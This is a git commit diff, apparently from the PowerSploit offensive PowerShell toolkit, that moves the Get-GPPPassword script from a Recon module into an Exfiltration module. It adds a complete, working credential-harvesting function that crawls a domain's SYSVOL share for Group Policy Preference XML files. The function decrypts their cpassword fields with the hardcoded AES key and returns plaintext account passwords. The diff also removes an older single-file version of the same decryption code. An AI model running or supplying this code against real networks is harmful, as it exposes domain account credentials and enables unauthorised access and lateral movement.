Updated Get-GPPPassword
This commit is contained in:
parent
717950d00c
commit
371c65c9a7
|
|
@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
|
||||||
|
|
||||||
# List of all files packaged with this module
|
# List of all files packaged with this module
|
||||||
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
|
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
|
||||||
'Get-Keystrokes.ps1', 'Usage.md'
|
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
|
||||||
|
|
||||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||||
# PrivateData = ''
|
# PrivateData = ''
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,126 @@
|
||||||
|
function Get-GPPPassword {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||||
|
|
||||||
|
PowerSploit Function: Get-GPPPassword
|
||||||
|
Author: Chris Campbell (@obscuresec)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
Optional Dependencies: None
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-GPPPassword
|
||||||
|
|
||||||
|
.LINK
|
||||||
|
|
||||||
|
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||||
|
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||||
|
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||||
|
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param ()
|
||||||
|
|
||||||
|
#define helper function that decodes and decrypts password
|
||||||
|
function Get-DecryptedCpassword {
|
||||||
|
Param (
|
||||||
|
[string] $Cpassword
|
||||||
|
)
|
||||||
|
|
||||||
|
try {
|
||||||
|
#Append appropriate padding based on string length
|
||||||
|
$Mod = ($Cpassword.length % 4)
|
||||||
|
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
|
||||||
|
|
||||||
|
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||||
|
|
||||||
|
#Create a new AES .NET Crypto Object
|
||||||
|
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||||
|
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||||
|
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||||
|
|
||||||
|
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||||
|
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||||
|
$AesObject.IV = $AesIV
|
||||||
|
$AesObject.Key = $AesKey
|
||||||
|
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||||
|
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||||
|
|
||||||
|
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||||
|
}
|
||||||
|
|
||||||
|
catch {Write-Error "$Error[0]"}
|
||||||
|
}
|
||||||
|
|
||||||
|
#discover potential files containing passwords
|
||||||
|
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
|
||||||
|
|
||||||
|
foreach ($File in $XMLFiles) {
|
||||||
|
|
||||||
|
try {
|
||||||
|
$Filename = $File.Name
|
||||||
|
$Filepath = $File.VersionInfo.FileName
|
||||||
|
|
||||||
|
#put filename in $XmlFile
|
||||||
|
[xml] $Xml = Get-Content ($File)
|
||||||
|
|
||||||
|
#declare blank variables
|
||||||
|
$Cpassword = ''
|
||||||
|
$UserName = ''
|
||||||
|
$NewName = ''
|
||||||
|
$Changed = ''
|
||||||
|
|
||||||
|
switch ($Filename) {
|
||||||
|
|
||||||
|
'Groups.xml' {
|
||||||
|
$Cpassword = $Xml.Groups.User.Properties.cpassword
|
||||||
|
$UserName = $Xml.Groups.User.Properties.userName
|
||||||
|
$NewName = $Xml.Groups.User.Properties.newName
|
||||||
|
$Changed = $Xml.Groups.User.changed
|
||||||
|
}
|
||||||
|
|
||||||
|
'Services.xml' {
|
||||||
|
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
|
||||||
|
$UserName = $Xml.NTServices.NTService.Properties.accountName
|
||||||
|
$Changed = $Xml.NTServices.NTService.changed
|
||||||
|
}
|
||||||
|
|
||||||
|
'Scheduledtasks.xml' {
|
||||||
|
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
|
||||||
|
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
|
||||||
|
$Changed = $Xml.ScheduledTasks.Task.changed
|
||||||
|
}
|
||||||
|
|
||||||
|
'DataSources.xml' {
|
||||||
|
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
|
||||||
|
$UserName = $Xml.DataSources.DataSource.Properties.username
|
||||||
|
$Changed = $Xml.DataSources.DataSource.changed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
|
||||||
|
|
||||||
|
else {Write-Verbose "No encrypted passwords found in $Filepath"}
|
||||||
|
|
||||||
|
#Create custom object to output results
|
||||||
|
$ObjectProperties = @{'Password' = $Password;
|
||||||
|
'UserName' = $UserName;
|
||||||
|
'Changed' = $Changed;
|
||||||
|
'NewName' = $NewName
|
||||||
|
'File' = $Filepath}
|
||||||
|
|
||||||
|
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||||
|
Write-Output $ResultsObject
|
||||||
|
}
|
||||||
|
|
||||||
|
catch {Write-Error $Error[0]}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -132,6 +132,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
|
||||||
|
|
||||||
Logs keys pressed, time and the active window.
|
Logs keys pressed, time and the active window.
|
||||||
|
|
||||||
|
#### `Get-GPPPassword`
|
||||||
|
|
||||||
|
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||||
|
|
||||||
#### `Get-TimedScreenshot`
|
#### `Get-TimedScreenshot`
|
||||||
|
|
||||||
A function that takes screenshots at a regular interval and saves them to a folder.
|
A function that takes screenshots at a regular interval and saves them to a folder.
|
||||||
|
|
@ -152,10 +156,6 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
|
||||||
|
|
||||||
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
|
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
|
||||||
|
|
||||||
#### `Get-GPPPassword`
|
|
||||||
|
|
||||||
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
|
|
||||||
|
|
||||||
## Recon\Dictionaries
|
## Recon\Dictionaries
|
||||||
|
|
||||||
**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.**
|
**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.**
|
||||||
|
|
|
||||||
|
|
@ -1,106 +0,0 @@
|
||||||
function Get-GPPPassword
|
|
||||||
{
|
|
||||||
<#
|
|
||||||
.SYNOPSIS
|
|
||||||
|
|
||||||
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
|
|
||||||
|
|
||||||
PowerSploit Function: Get-GPPPassword
|
|
||||||
Author: Chris Campbell (@obscuresec)
|
|
||||||
License: BSD 3-Clause
|
|
||||||
Required Dependencies: None
|
|
||||||
Optional Dependencies: None
|
|
||||||
|
|
||||||
.DESCRIPTION
|
|
||||||
|
|
||||||
Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
|
|
||||||
|
|
||||||
.PARAMETER Path
|
|
||||||
|
|
||||||
The path to the targeted groups.xml file.
|
|
||||||
|
|
||||||
.EXAMPLE
|
|
||||||
|
|
||||||
Get-GPPPassword -path c:\demo\groups.xml
|
|
||||||
|
|
||||||
.LINK
|
|
||||||
|
|
||||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
|
||||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
|
||||||
#>
|
|
||||||
|
|
||||||
Param (
|
|
||||||
[Parameter(Position = 0, Mandatory = $True)]
|
|
||||||
[String]
|
|
||||||
$Path = "$PWD\groups.xml"
|
|
||||||
)
|
|
||||||
|
|
||||||
#Function to pull encrypted password string from groups.xml
|
|
||||||
function Parse-cPassword {
|
|
||||||
|
|
||||||
try {
|
|
||||||
[xml] $Xml = Get-Content ($Path)
|
|
||||||
[String] $Cpassword = $Xml.Groups.User.Properties.cpassword
|
|
||||||
} catch { Write-Error "No Password Policy Found in File!" }
|
|
||||||
|
|
||||||
return $Cpassword
|
|
||||||
}
|
|
||||||
|
|
||||||
#Function to look to see if the administrator account is given a newname
|
|
||||||
function Parse-NewName {
|
|
||||||
|
|
||||||
[xml] $Xml = Get-Content ($Path)
|
|
||||||
[String] $NewName = $Xml.Groups.User.Properties.newName
|
|
||||||
|
|
||||||
return $NewName
|
|
||||||
}
|
|
||||||
|
|
||||||
#Function to parse out the Username whose password is being specified
|
|
||||||
function Parse-UserName {
|
|
||||||
|
|
||||||
try {
|
|
||||||
[xml] $Xml = Get-Content ($Path)
|
|
||||||
[string] $UserName = $Xml.Groups.User.Properties.userName
|
|
||||||
} catch { Write-Error "No Username Specified in File!" }
|
|
||||||
|
|
||||||
return $UserName
|
|
||||||
}
|
|
||||||
|
|
||||||
#Function that decodes and decrypts password
|
|
||||||
function Decrypt-Password {
|
|
||||||
|
|
||||||
try {
|
|
||||||
#Append appropriate padding based on string length
|
|
||||||
$Pad = "=" * (4 - ($Cpassword.length % 4))
|
|
||||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
|
|
||||||
#Create a new AES .NET Crypto Object
|
|
||||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
|
||||||
#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
|
|
||||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
|
||||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
|
||||||
#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
|
|
||||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
|
||||||
$AesObject.IV = $AesIV
|
|
||||||
$AesObject.Key = $AesKey
|
|
||||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
|
||||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
|
||||||
|
|
||||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
|
||||||
} catch { Write-Error "Decryption Failed!" }
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
$Cpassword = Parse-cPassword
|
|
||||||
$Password = Decrypt-Password
|
|
||||||
$NewName = Parse-NewName
|
|
||||||
$UserName = Parse-UserName
|
|
||||||
|
|
||||||
$Results = New-Object System.Object
|
|
||||||
|
|
||||||
Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
|
|
||||||
Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
|
|
||||||
Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
|
|
||||||
|
|
||||||
return $Results
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
@ -73,8 +73,8 @@ AliasesToExport = ''
|
||||||
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
|
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
|
||||||
|
|
||||||
# List of all files packaged with this module
|
# List of all files packaged with this module
|
||||||
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-GPPPassword.ps1', 'Get-HttpStatus.ps1',
|
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
|
||||||
'Invoke-ReverseDnsLookup.ps1', 'Usage.md'
|
'Usage.md'
|
||||||
|
|
||||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||||
# PrivateData = ''
|
# PrivateData = ''
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue